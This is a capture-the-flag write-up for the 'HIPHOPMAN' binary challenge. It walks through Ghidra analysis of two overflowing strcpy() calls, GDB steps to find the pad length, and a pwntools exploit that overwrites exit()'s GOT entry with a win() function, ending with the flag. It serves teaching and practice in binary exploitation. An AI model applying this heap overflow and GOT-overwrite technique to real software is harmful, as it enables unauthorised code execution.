HIPHOPMAN
Write-What-Where
Architecture and protections
The binary is x64 with Partial RELRO and no PIE.

Static analysis
Due to the binary being stripped, analysis will be more tedious. In ghidra, the FUN that is actually main() can be identified from entry(). It is recommended to rename the FUN to main().

To aid interpretation of the code, a struct can be created:
- Access the data type manager at the lower left.
- Right-click
HIPHOPMAN, then choose “new”, then choose “structure”. - Specify a size of 16 bytes, due to
malloc(0x10). - Set
field1withname=valueandtype=long(8 bytes). - Set
field2withname=addressandtype=long*(8 bytes). - Save with the floppy disk icon.
- Change the type of the relevant variables to
struct*.

main() has vulnerable strcpy() at lines 22 and 24, which will copy until \x00 regardless of overflow. The progam also ends with exit() instead of return.

Looking around the other FUN, one of them prints the flag. It is recommended to rename this FUN to win().

Exploit planning
- When the first
strcpy()is run, exploit the overflow to overwritepuVar2->addressto the GOT address ofexit(). - When the second
strcpy()is run, the GOT entry ofexit()will be overwritten. By overwriting it towin(), then when the program attempts to exit at the end of execution, it will instead runwin().
Exploit crafting
Finding the pad length required, using GDB-gef:
gdb -q ./HIPHOPMANentryb *0x4008f7cp $rax

b *0x4009abc- Send
AAAAandBBBBfor the twostrcpy() x/10gx 0x602330

By observation, 40 bytes are needed before the puVar2->address is overwritten.
Finding address of exit@got.plt:

Finding address of win():

Exploit code
from pwn import *
elf = context.binary = ELF('./HIPHOPMAN', checksec=False)
context.log_level = "error"
p = process()
EXIT = 0x601068
WIN = 0x400826
payload = flat(
40 * b'A',
EXIT
)
p.sendline(payload)
payload = flat(
WIN
)
p.sendline(payload)
p.interactive()
# CDDC2025{UKNOWHIPhopISHEAPHop}
Exploit success

References
A similar challenge: link